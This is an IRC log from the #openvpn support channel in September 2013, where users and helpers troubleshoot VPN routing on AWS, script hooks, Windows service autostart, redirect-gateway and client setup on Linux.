13:47 < Skapare> heh, yeah
13:47 < Skapare> and scripts that figure out the right routing in lots of AWS VPCs
13:47 < grendal-prime> i gave up using the right...i just turn route all the time..especially at red lights
13:48  * Skapare takes that to mean not-in-UK
13:48 -!- Diffen [~diffen@46.194.14.21] has quit [Quit: This computer has gone to sleep]
13:48 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
13:58 -!- r3Mod [~reMod@pushdome.net] has joined #openvpn
13:58 < r3Mod> hi
13:59 < r3Mod> what could be the reason for that my "client-connect" script won't be executed?
14:01 -!- defsdoor [~andy@cpc30-sutt4-2-0-cust155.19-1.cable.virginmedia.com] has quit [Quit: Ex-Chat]
14:01 < r3Mod> its the same script i use for "up", and in this case it works perfectly, but with "client-connect" it doesn't :(
14:08 < r3Mod> (openvpn 2.3)
14:10 <+pekster> r3Mod: This is in a --mode-server config, yes?
14:10 < r3Mod> pekster: yes
14:11 <+pekster> Logs at --verb 4 will show you script execution and the return code from it
14:12 -!- Diffen [~diffen@46.194.14.21] has joined #openvpn
14:14 < r3Mod> pekster: the crazy is, that the directive will be fully ignored :-/ i checked with strace - the file was never used.
14:17 <+pekster> Can you pastebin both the config file used and the startup log with --verb 4? It'll be listed in the variable printout if it loaded the option from your file
14:17 <+pekster> So if you don't see it there, either you didn't call openvpn on that file, or something more interesting is happening
14:29 < r3Mod> ok, i will try this. thank you, pekster!
14:37 -!- Devastatr [~devas@177.99.154.221] has joined #openvpn
14:37 -!- Diffen [~diffen@46.194.14.21] has quit [Ping timeout: 245 seconds]
14:39 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 260 seconds]
14:39 -!- Devastatr [~devas@177.99.154.221] has quit [Changing host]
14:39 -!- Devastatr [~devas@unaffiliated/devastator] has joined #openvpn
14:39 -!- Devastatr is now known as Devastator
14:43 < Skapare> tunnel not working (right) ... here's why ... packets from the host openvpn is running on have as a source address the client end of the tunnel ... instead of the "normal" IP we expect of that host ... means I have to do EVEN MORE ROUTING on AWS
14:44 < Skapare> looks like what I need is a separate machine to initiate all the tunnels from
14:45 <+pekster> Skapare: That's how routing works; multi-homed hosts use the clossest source IP in terms of the route selected
14:45 <@ecrist> yup
14:45 <+pekster> One can over-ride this with f.ex policy routing in such setups
14:45 <@ecrist> really, openvpn should be treated as a router and not so much as another service on a server
14:45 -!- Diffen [~diffen@c-2ec297e6-74736162.cust.telenor.se] has joined #openvpn
14:53 < Skapare> pekster: yeah ... as the default source ... something that the remote is more likely to see ... if all the routing is right
14:54 <+pekster> "more likely to see?" huh? This is all deterministic, not random
14:54 < Skapare> ecrist: yeah ... hence a separate "router box"
14:54 <+pekster> There's a _reason_ that any given source IP was selected for any particular outgoing connection. If you don't like that decision, then it's your job to re-configure your host to do what you intend
14:54 < Skapare> "more likely to see" probably should say "more likely to be closer"
14:55 < Skapare> of course
14:55 < Skapare> is it possible to do unnumbered links/tunnels in openvpn?
14:55 <@ecrist> yes
14:55 <+pekster> OpenVPN does PtP which is address-independent, though you generally configure them with an address on either end for convenience
14:55 <+EugeneKay> You mean the tun0 device? You can specify "device tun" in your config file and it will dynamically assign a tunnel
14:56 <@ecrist> with bridge mode, tap devices
14:56 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Read error: Connection reset by peer]
14:56 <+EugeneKay> But it will still have a tun# when it actually comes up
14:57 < Skapare> with an unnumbered link, route can target the device or the remote lo IP, depending on which way it is set up ... but unnumbered are rare, though in this case it could be convenient (maybe)
14:57 < Skapare> the tun# is fine ... just want no IPs
14:57 <+pekster> That's effectively what a PtP is at L3. For L2, yea, tap is what emulates that. Depends on what you need I suppose
14:59 < Skapare> well, I'm only testing for now ... the boss said we'd get a machine or two specific for routing if it works (AWS issues were the big question) and is fast enough (I don't expect an issue)
14:59 < Skapare> I'm trying to get the routing to work right out at the AWS end now ... linux there doesn't seem to want to do forwarding
15:00 <+pekster> No clue what's stopping you from routing the normal way with addresses on interfaces which have advantages when problems appear across the tunnel in f.ex traceroutes
15:00 -!- Diffen [~diffen@c-2ec297e6-74736162.cust.telenor.se] has quit [Quit: This computer has gone to sleep]
15:00 < Skapare> the tunnel connects and my pings to a 2nd instance out there go through the tunnel and show up ... so openvpns role seems to be working just fine
15:01 < Skapare> pekster: that's why I'd rather have the addresses ... unnumbered would just be a possible workaround for testing
15:01 <+pekster> At the end of the day, OpenVPN's sole job is to securely deliver IP packets (in tun) or Ethernet frames (in tap) to the remote end its connected to, and just that. What you do with that is up to implementation
15:02 < Skapare> pekster: and it is doing that fine as far as I can see
15:02 < Skapare> I just don't know if AWS might require me to do tricky things ... I know it has issues with IPsec stuff
15:03 <+pekster> Depends I suppose on what you're doing. I've configured OpenVPN on a generic OS and it works fine; the host OS doesn't really care what the VM runs, and all the kernel tun support and routing is inside the VM, not part of the AWS side
15:04 -!- nobit [nobit@unaffiliated/muska] has joined #openvpn
15:04 <+pekster> I suspect you're blaming AWS for what's really a routing/firewall problem in your VM
15:04 < nobit> I've setup openvpn community and everything is working however I'd like to make it so it auto connects.  My understanding is that i need to set the service in services.msc to autostart however if I do that I can't keep the gui open in the system tray that lets me know if I'm connected or not.
15:06 <+pekster> nobit: That's generally how system services work on any OS. Since the GUI didn't start the service, it can't use the backend channels it talks to each running process to know if they're up or not
15:07 < nobit> pekster, is there any way to get confirmation on when the vpn get connected or disconnected?
15:08 <+pekster> You can run a script of your choice (any external executable program) that somehow notifies you of status changes
15:08 <+pekster> See:
15:08 <+pekster> !scripts
15:08 <@vpnHelper> "scripts" is "script" is See SCRIPTING AND ENVIRONMENTAL VARIALBES in the manual for a list of places that scripts can hook into openvpn. Online reference at: https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbAR
15:08 < Skapare> pekster: each instance has iptables off ... I suspect its something like my AWS ACL or SG settings (looking at them now)
15:09 < nobit> oh nice
15:09 <+pekster> --route-up might be a good place to hook in since it's run after connection just before routes are added
15:09 < Skapare> I was thinking I might want to do route-up if I needed to run scripts to do route calculations
15:10 < Skapare> (e.g. where a statically coded route won't do ... where a script need to figure it out)
15:11 <+pekster> nobit: I've used similar solutions for lab-type VPN solutions where "a developer only wants to run some dev-related check if the VPN to the lab environment needed to perform the tests is available" or this kind of thing. In that case I just wrote to a file when the VPN came up and removed it when the VPN was disconnected so that the build-tools could use that. If you want "user notification" you could develop a widget that's smarter ...
15:11 <+pekster> ... than such a simplistic case
15:11 < nobit> I'll probably look into developing something if I can.  Makle it sit in the system tray and have an option to restart the service if necessary
15:11 < nobit> make it sit*
15:12 <+pekster> If you don't plan to stop openvpn, it'll automatically restart on loss of connection if you use --ping/--ping-restart (implied with --keepalive)
15:12 < nobit> though I will look to see if someone has already developed something like  that
15:12 < nobit> first*
15:15 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
15:15 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
15:24 -!- grendal-prime [~sgraham@173-166-255-77-stockton.hfc.comcastbusiness.net] has quit [Ping timeout: 260 seconds]
15:25 < Skapare> well it's something with AWS ... it won't forward "foreign" (to or from some other subnet) between instances at all (but it does in another VPC that is not part of this test) ... so it's not an openvpn issue for sure ... something with the AWS setup
15:26 < Skapare> e.g. I try to ping 100.100.73.6 from a 2nd instance in the VPC, which has it set to route over to the 1st instance in the same VPC ... but it never gets there
15:27 < Skapare> so it's some AWS routing/firewall thing
15:34 -!- klong- [~klong@c-50-135-252-126.hsd1.wa.comcast.net] has joined #openvpn
15:35 < nobit> pekster, I figured it out
15:35 < nobit> pekster, there is a regedit option allow_service, if you set that to 1 then you can control the service from the openvpn gui and see it's status
15:35 < nobit> its status
15:36 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
15:36 -!- mode/#openvpn [+o plaisthos] by ChanServ
15:37 <+pekster> nobit: Ah, nifty. Though that's probably just status for the service itself and not the VPNs it spawned, I'd assume
15:37 < nobit> the icon changed green once it connected
15:37 < nobit> :)
15:38 <+pekster> Yes, but that still doesn't mean it's aware of what the individual instanes behind the service abstraction are; I'm just not familiar with it and don't know
15:38 < nobit> I see
15:39 <+pekster> (eg: what does it do if the service launched vpn1.ovpn and vpn2.ovpn, one went down, the other is still up. Presumably you'd need to restart the entire service to "fix" it. Or if the service is up on a single connection and it goes into a disconnect/reconnect cycle with its remote peer)
15:39 <+pekster> That's par for the course when you have a fairly dumb service frontend that can't independently control the downstream things it launches
15:40 <+pekster> eg: Windows or RHEL-style solutions. Debian, gentoo, and possibly others IIRC have methods to control each instance uniquely
15:40 < nobit> good point, however I only have one vpn connection in this scenario so this works perfectly.  for my own pc I wouldn't worry about auto connect and service
15:40 <+pekster> Sure
15:40 <+pekster> Thanks for the find; I'll see if I can gather a few more details about how it works and toss it to the wiki entry about the GUI
15:40 < nobit> setting up clients for users that don't know how to plug the power cable in so I'd like it to be as simple as possible :)
15:41 < nobit> sweet, always good to have info in the wiki like this
15:41 <+pekster> !gui
15:41 < nobit> I found this tip here: http://forums.untangle.com/tips-tricks/3645-making-openvpn-client-connection-startup-windows-xp.html
15:41 <@vpnHelper> "gui" is (#1) The only official GUI is the OpenVPN-GUI for Windows (see https://community.openvpn.net/openvpn/wiki/OpenVPN-GUI .) While there are other 3rd party GUIs, they may cause unexpected issues or (#2) If you're having problems starting OpenVPN through an unoffiical GUI, try launching it on the command line; if that works, the GUI is your problem
15:41 <+pekster> If you want to take a stab at adding info yourself, go for it
15:41 <+pekster> (it's a community-developed wiki)
15:41 < nobit> ah
15:43 -!- grendal-prime [~sgraham@162-238-81-150.lightspeed.frokca.sbcglobal.net] has joined #openvpn
15:48 -!- wallbroken [~wallbroke@151.56.231.100] has joined #openvpn
15:51 -!- s7r [~s7r@openvpn/user/s7r] has quit [Remote host closed the connection]
15:54 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
15:54 -!- mode/#openvpn [+v s7r] by ChanServ
15:56 -!- michaelhart [~michaelha@162.209.1.130] has quit [Quit: michaelhart]
15:57 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:06 -!- xeon123 [~user@bl9-91-16.dsl.telepac.pt] has joined #openvpn
16:06 < xeon123> !sepverlan
16:06 < xeon123> !serverlan
16:07 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
16:07 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
16:11 -!- wallbroken [~wallbroke@151.56.231.100] has quit []
16:14 < xeon123> !ipforward-
16:14 < xeon123> !ipforward
16:14 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
16:33 -!- xeon123 [~user@bl9-91-16.dsl.telepac.pt] has quit [Read error: Connection reset by peer]
16:35 -!- xeon123 [~user@bl9-91-16.dsl.telepac.pt] has joined #openvpn
16:35 -!- xeon123 [~user@bl9-91-16.dsl.telepac.pt] has left #openvpn []
16:35 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 264 seconds]
16:37 -!- MariusIT [~MariusIT@86.120.254.61] has quit [Quit: Nettalk6 - www.ntalk.de]
16:49 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 240 seconds]
16:50 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
16:50 -!- mode/#openvpn [+v s7r] by ChanServ
16:51 -!- master_o1_master [~master_of@p4FD7B6CE.dip0.t-ipconnect.de] has joined #openvpn
16:54 -!- master_of_master [~master_of@p4FF24C0F.dip0.t-ipconnect.de] has quit [Ping timeout: 245 seconds]
17:19 -!- baphomet1 [~baphomet@adsl-76-227-156-214.dsl.pltn13.sbcglobal.net] has joined #openvpn
17:20 < baphomet1> hello hello!
17:22 < baphomet1>  I am currently on a network other than my home network.  network scheme here is 192.168.x.x.  Home network is also 192.168.x.x.  VPN network is 10.8.x.x.  When I connect to the VPN from this network, I can connect, but I am unable to connect out to the internet.  Meaning I can access things on the LAN, but not anything outside of that
17:23 <+pekster> You want:
17:23 <+pekster> !redirect
17:23 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
17:23 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
17:23 <+pekster> (all those !things are bot commands with more detailed info)
17:24 < baphomet1> pekster, thanks.  I am not sure I understand what you are telling me though.  Is this something in the OpenVPN config?
17:24 <+pekster> "but I am unable to connect out to the Internet" <-- if that's what you want, you need to do what that bot just told you
17:24 <+pekster> !goal
17:24 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
17:25 <+pekster> If that's not your goal, please review that and try again
17:47 -!- grendal-prime [~sgraham@162-238-81-150.lightspeed.frokca.sbcglobal.net] has quit [Ping timeout: 260 seconds]
18:18 -!- baphomet1 [~baphomet@adsl-76-227-156-214.dsl.pltn13.sbcglobal.net] has left #openvpn ["Leaving"]
18:32 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
18:47 -!- grendal-prime [~sgraham@173-166-255-77-stockton.hfc.comcastbusiness.net] has joined #openvpn
18:48 -!- grendal-prime [~sgraham@173-166-255-77-stockton.hfc.comcastbusiness.net] has quit [Client Quit]
19:19 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
19:36 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
19:49 -!- dimitry7 [~antonello@gate.aaamerica.com.mx] has joined #openvpn
20:03 -!- sef [~sef@pool-96-255-161-228.washdc.fios.verizon.net] has joined #openvpn
20:12 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
20:23 -!- Skapare [~phil@c-24-3-220-115.hsd1.wv.comcast.net] has quit [Remote host closed the connection]
20:33 -!- backjlack_ [~quassel@86.127.42.251] has joined #openvpn
20:34 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Ping timeout: 246 seconds]
20:44 -!- tharkun [~0@187.188.94.182] has quit [Changing host]
20:44 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
20:49 -!- raidz is now known as raidz_away
20:50 -!- devdel [~d3vd3l@h-237-75.a199.priv.bahnhof.se] has quit [Ping timeout: 256 seconds]
20:52 -!- kiyor [~kiyor@12.13.90.183] has quit [Quit: Linkinus - http://linkinus.com]
21:14 -!- tony25DF [~antonello@38.124.174.31] has joined #openvpn
21:15 -!- Neozonz|Discx2 [~Neozonz@unaffiliated/neozonz] has quit [Ping timeout: 260 seconds]
21:18 -!- dimitry7 [~antonello@gate.aaamerica.com.mx] has quit [Ping timeout: 260 seconds]
21:45 -!- Linmu [~Linmu@203.70.194.104] has quit [Ping timeout: 256 seconds]
21:52 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
21:57 -!- JRocha [~JRocha@200.189.189.47] has joined #openvpn
21:59 -!- jrgcombr [~JRocha@200.189.189.47] has quit [Ping timeout: 264 seconds]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:04 -!- devdel [~d3vd3l@h-237-75.a199.priv.bahnhof.se] has joined #openvpn
22:05 -!- mikko [~mikko@211.24.39.87] has joined #openvpn
22:50 -!- justanotheruser [~andrew@63.142.161.3] has joined #openvpn
22:51 < justanotheruser> If my internet connection disconnects and reconnect openvpn doesn't automatically reconnect to my VPN and this can be a problem if I'm away from my computer because any data I transmit is over the clear internet. Is there a way to fix this in openvpn-gui?
22:51 -!- tony25DF [~antonello@38.124.174.31] has quit [Quit: Leaving]
22:54 <+pekster> In the "GUI"? No. You could tweak the --ping and --ping-timeout values to improve the detection speeds when a connection does go down, or use a firewall since you (without describing your setup very well) are apparently redirecting your network traffic across the VPN
22:54 <+pekster> If it's critically important to you that you not send traffic besides the VPN traffic when the VPN is up, it's up to you to firewall that in your OS
22:55 <+pekster> You might also want to look at the --persist-tun option
22:55 <+pekster> (although this has implications if you aren't using a static-IP assignment method from your server. See !static for details)
22:56 < justanotheruser> !static
22:56 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
22:57 < justanotheruser> pekster: can openVPN not prevent me from sending traffic when my VPN isnt connected?
22:57 <+pekster> Becuase that's not its job
22:57 <+pekster> If you want a firewall, use a firewall
22:57 <+pekster> OpenVPN's job is secure authentication and delivery of packets to a peer
22:59 < justanotheruser> ok, thanks
23:32 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
--- Day changed Thu Sep 12 2013
00:05 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
00:14 -!- Skapare [~phil@c-24-3-220-115.hsd1.wv.comcast.net] has joined #openvpn
00:29 < Skapare> I figured out what the AWS issue was ... there was a 3rd firewall setting in effect specific to ENIs in VPCs ... had to disable it ... now things work (the subnets can reach each other) ... yay
00:29 < Skapare> one problem I noticed is when I start the client side, it takes a few seconds before it sends anything
00:30 < Skapare> is that normal? ... if it is normal, no problem ... I just want to fix whateer if something I did wrong is causing that
00:31 < Skapare> I need to add more stuff to keep the vpn tunnel up, etc ... work for tomorrow
00:34 -!- klong- [~klong@c-50-135-252-126.hsd1.wa.comcast.net] has quit [Quit: Nettalk6 - www.ntalk.de]
00:37 -!- hjohnson [~hans@S0106000db917e89a.vc.shawcable.net] has joined #openvpn
00:39 < hjohnson> blah... this is frustrating.  Have a remote user connecting using a Windows 7 laptop, and can't get through the OpenVPN network.  I can connect into the same server just fine using linux/OSX, when she connects with her laptop the openvpn.log shows her conencted properly, it's as though it's just not accepting the extra route i'm pushing or something
00:50 < Skapare> it's the same windows system trying to use the tunnel that openvpn is running on?
01:02 < Skapare> the openvpn init script for /etc/rc.d/init.d seems to only let you start all vpns or stop all vpns ... not per individual vpn
01:03 <+pekster> That varies by distro. I use ones that actually understand multi-instance services
01:03 < Skapare> this is CentOS, so that part might be done by Redhat
01:03 -!- monk [~aknm@196.14.139.96] has joined #openvpn
01:03 -!- monk [~aknm@196.14.139.96] has quit [Changing host]
01:03 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
01:03 <+pekster> I'd hardly hold RHEL up as the model distro init system
01:04 < Skapare> I'll probably rewrite my own init script and duplicate it per vpn
01:04 <+pekster> Though they are getting very good at back-porting patches to the 2.6 kernel tree...
01:05 < Skapare> and my Slackware box is already up to 3.10.9 kernel
01:13 -!- midacts [~midacts@207.59.77.254] has joined #openvpn
01:13 -!- rob0 [rob0@pdpc/valentine/postfixninja/rob0] has quit [Ping timeout: 264 seconds]
01:14 -!- rob0 [rob0@pdpc/valentine/postfixninja/rob0] has joined #openvpn
01:25 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
01:38 -!- mikko [~mikko@211.24.39.87] has quit [Quit: Lost terminal]
01:41 -!- master_of_master [~master_of@p4FF244C8.dip0.t-ipconnect.de] has joined #openvpn
01:45 -!- master_o1_master [~master_of@p4FD7B6CE.dip0.t-ipconnect.de] has quit [Ping timeout: 276 seconds]
01:50 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
01:54 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
01:59 -!- map [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
02:00 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 264 seconds]
02:12 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
02:24 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
02:37 -!- darknyan [~darknyan@unaffiliated/darknyan] has quit [Ping timeout: 260 seconds]
02:42 -!- darknyan [~darknyan@unaffiliated/darknyan] has joined #openvpn
03:09 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
03:21 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Read error: Connection reset by peer]
03:26 -!- backjlack_ [~quassel@86.127.42.251] has quit [Remote host closed the connection]
03:45 -!- julius_ [~14354s@141.41.92.122] has joined #openvpn
03:45 < julius_> hi
03:51 < julius_> i would like to setup this:  client -> openvpn server1            with the little addition that the openvpn server1 should know about yet another vpn server which it connects to and redirects all traffic to. i tried "redirect-gateway" on openvpn server1 but that only did cut my ssh connection
03:51 < julius_> how do you do this?
04:01 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
04:10 -!- eliasp_ [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has quit [Quit: No Ping reply in 180 seconds.]
04:11 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
04:27 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 268 seconds]
04:35 < defswork> julius_, redirect-gateway sets the default route to the openvpn server on the clients
04:35 < defswork> so ALL non-local (to the client) traffic will go via the vpn server
04:35 < julius_> which kills the currently existing ssh connection which was established over another gateway
04:35 < defswork> you might be better pushing routes for the subnets inside the vpn only
04:36 < julius_> ah, have to read about that. thx
04:36 < defswork> but you also need to add routes on your network to the vpn client subnets
04:36 < defswork> via the vpn server
04:36 < defswork> and of course tell the vpn server to forward
04:36 -!- sef [~sef@pool-96-255-161-228.washdc.fios.verizon.net] has quit [Ping timeout: 268 seconds]
04:44 -!- xrosnight [~quassel@116.76.164.1] has joined #openvpn
04:44 < xrosnight> hello guys. is there any good OpenVPN client for Linux?
04:44 < xrosnight> some suggestions?
04:45 < copper> xrosnight: how about… OpenVPN?
04:45 <+EugeneKay> `openvpn` is the best client for openvpn, surprisingly.
04:46 <+EugeneKay> Perhaps you mean a GUI wrapper for your laptop?
04:46 <+EugeneKay> !networkmanager
04:46 <+EugeneKay> !ubuntu
04:46 <@vpnHelper> "ubuntu" is dont use network manager!
04:46 <+EugeneKay> ;-)
04:46 < xrosnight> EugeneKay: yeah . the GUI for noobies
04:47 <+EugeneKay> A GUI is actually the worst thing for figuring out openvpn because it hides the output from you
04:49 < xrosnight> i installed gadmin-openvpn-client which shows me " Warning: Could not change certificate file mode."   when I was trying to import newvpn.ovpn files and etc. in a form of a xxxx.tar.gz
04:50 -!- sef [~sef@pool-96-255-161-228.washdc.fios.verizon.net] has joined #openvpn
04:51 <+EugeneKay> Never heard of it
04:53 < xrosnight> i googled it.
04:54 < xrosnight> now i found another fancy tool which would help me. It's "network connections" on KDE 4.8
04:54 < xrosnight> it has VPN options
05:00 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
05:08 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
05:08 -!- xrosnight [~quassel@116.76.164.1] has quit [Read error: Connection reset by peer]
05:09 -!- xrosnight [~quassel@116.76.164.1] has joined #openvpn
05:10 < xrosnight> how do you guys use openvpn on your laptop???
05:11 < copper> I made a config file, then I set openvpn to automatically start on boot
05:12 < copper> sudo systemctl enable openvpn@client
05:12 < copper> not much to it
05:12 < copper> er
05:12 < copper> sudo systemctl enable openvpn@client.service
05:12 < copper> (IIRC)
05:12 < copper> your linux distribution probably has a means of doing the same
05:13 < copper> whenever I want to stop it, for whatever reason: sudo systemctl stop openvpn@client
05:13 < copper> and then to start it up again: sudo systemctl start openvpn@client
05:13 < copper> that's how it's done on Arch Linux
05:14 < copper> also check the wiki for your distribution
05:14 < copper> maybe there's a page for it
05:16 -!- jacked [~ix81ofes@faui0sr1.informatik.uni-erlangen.de] has quit [Quit: Lost terminal]
05:23 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
05:26 -!- HyperGlide [~HyperGlid@li634-159.members.linode.com] has joined #openvpn
05:27 -!- krantz [~d3vd3l@h-237-75.a199.priv.bahnhof.se] has joined #openvpn
05:27 -!- devdel [~d3vd3l@h-237-75.a199.priv.bahnhof.se] has quit [Read error: Connection reset by peer]
05:29 -!- xrosnight [~quassel@116.76.164.1] has quit [Ping timeout: 268 seconds]
05:42 -!- wallbroken [~wallbroke@151.56.231.100] has joined #openvpn
05:42 < wallbroken> hi
05:44 < wallbroken> is strange to see that when i connect with the same common name from two different hosts, both will connect and get the same ip address at the same time with ccd configurationd
05:45 -!- HyperGlide [~HyperGlid@li634-159.members.linode.com] has quit [Remote host closed the connection]
05:56 <+EugeneKay> !dupe
05:56 <@vpnHelper> "dupe" is (#1) see --duplicate-cn in the manual (!man) to see how to allow multiple clients to use the same key (NOT recommended) or (#2) instead, use !pki to make a cert for each user
05:57 <+EugeneKay> That's expected behaviour
05:57 <+EugeneKay> As far as the server is concerned they're both the same client
05:57 < wallbroken> ok thank you
06:19 -!- wallbroken [~wallbroke@151.56.231.100] has quit [Read error: No route to host]
06:19 -!- wallbroken [~wallbroke@151.56.231.100] has joined #openvpn
06:42 < Probeus> Is it possible to disable the "feature" that blocks connections to the original IP, when the VPN is online?
06:45 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
07:00 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has quit [Ping timeout: 245 seconds]
07:06 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has joined #openvpn
07:17 -!- midacts [~midacts@207.59.77.254] has quit [Quit:  HydraIRC -> http://www.hydrairc.com <- It'll be on slashdot one day...]
07:29 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
07:34 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
07:35 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
07:49 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
08:12 -!- fischli [~fischli@data.fischer-ing.de] has joined #openvpn
08:13 -!- fischli [~fischli@data.fischer-ing.de] has left #openvpn []
08:14 -!- Sandfly [~ma1com10t@host-92-20-30-239.as13285.net] has joined #openvpn
08:16 < Sandfly> Hi - I was wondering what the latest version of openvpn is for Ubuntu 12.04 Precise Pangoline LTS
08:17 < Sandfly> also the help text localted on https://community.openvpn.net/openvpn/wiki/OpenvpnSoftwareRepos is not available (404 not found - nginx)
08:17 <@vpnHelper> Title: OpenvpnSoftwareRepos – OpenVPN Community (at community.openvpn.net)
08:18 < copper> Sandfly: http://packages.ubuntu.com/search?keywords=openvpn
08:18 <@vpnHelper> Title: Ubuntu – Package Search Results -- openvpn (at packages.ubuntu.com)
08:18 < Sandfly> yeah thats the page - look down to where it says "To use them, blindly follow these instructions:"
08:19 < Sandfly> All instruction links are 404 not found
08:19 < copper> I don't see that sentence on that page
08:20 < copper> it just lists packages
08:22 < Sandfly> hi cropper ..
08:22 < Sandfly> look at this page
08:22 < Sandfly>  https://community.openvpn.net/openvpn/wiki/OpenvpnSoftwareRepos
08:22 <@vpnHelper> Title: OpenvpnSoftwareRepos – OpenVPN Community (at community.openvpn.net)
08:22 < Sandfly> is that the one you looked at ?
08:23 < Sandfly> anyway vpnHelper has pointed me in a good direction .. looking into it now - thanks
08:23 < copper> I looked at… the link I gave you
08:23 < Sandfly> erm .. would you like to look at the link i gave you ?
08:23 < rob0> What did vpnHelper do?
08:24 < Sandfly> whoops - sorry I meant the link copper gave me .. my eyesight !!!
08:26 <+pekster> The 'help text' at the wiki is not availalbe? Do you mean you can't load that page? Works for me here...
08:27 < Sandfly> This page is 404 - http://repos.openvpn.net/repos/apt/conf/repos.openvpn.net-precise-snapshots.txt
08:27 <+pekster> Oh, gotcha
08:27 < Sandfly> ;)
08:31 -!- wallbroken [~wallbroke@151.56.231.100] has quit []
08:34 < Sandfly> just a little more help please - I have added the cambruim entry to my source.list on ubuntu - do i have to remove the current version of openvpn from my ubuntu box first ?
08:34 <+pekster> The actual repo.list file is missing too, though the repo gpg key appears to still be there. I let the -devel channel know, but until it gets fixed you won't be able to download it from that host
08:35 < Sandfly> sorry pekster - do you mean the cambrium source or the text help file ?
08:36 <+pekster> What is "cambrium" ?
08:37 < Sandfly> ok .. you mean the help file - cambrium = deb http://ubuntu.mirror.cambrium.nl/ubuntu/ saucy main
08:37 <@vpnHelper> Title: Index of /ubuntu (at ubuntu.mirror.cambrium.nl)
08:37 <+pekster> If that's an official ubuntu mirror then you get whatever the upstream package lists are
08:38 < Sandfly> so - should i remove the current version of openvpn from my ubuntu box first or just upgrade ?
08:38 -!- xrosnight [~quassel@183.14.231.16] has joined #openvpn
08:38 <+pekster> You can just upgrade; it's merely an additional package source
08:38 < Sandfly> ok - thanks ..
08:45 < julius_> push "route 216.151.2.96 255.255.255.224"        <- what does this tell a openvpn client?
08:49 <+pekster> julius_: When a client sends a pull request (with --pull) that will push the --route directive (the entire thing in quotes) and the client will pick up on it and apply that route across the VPN using the remote endpoint
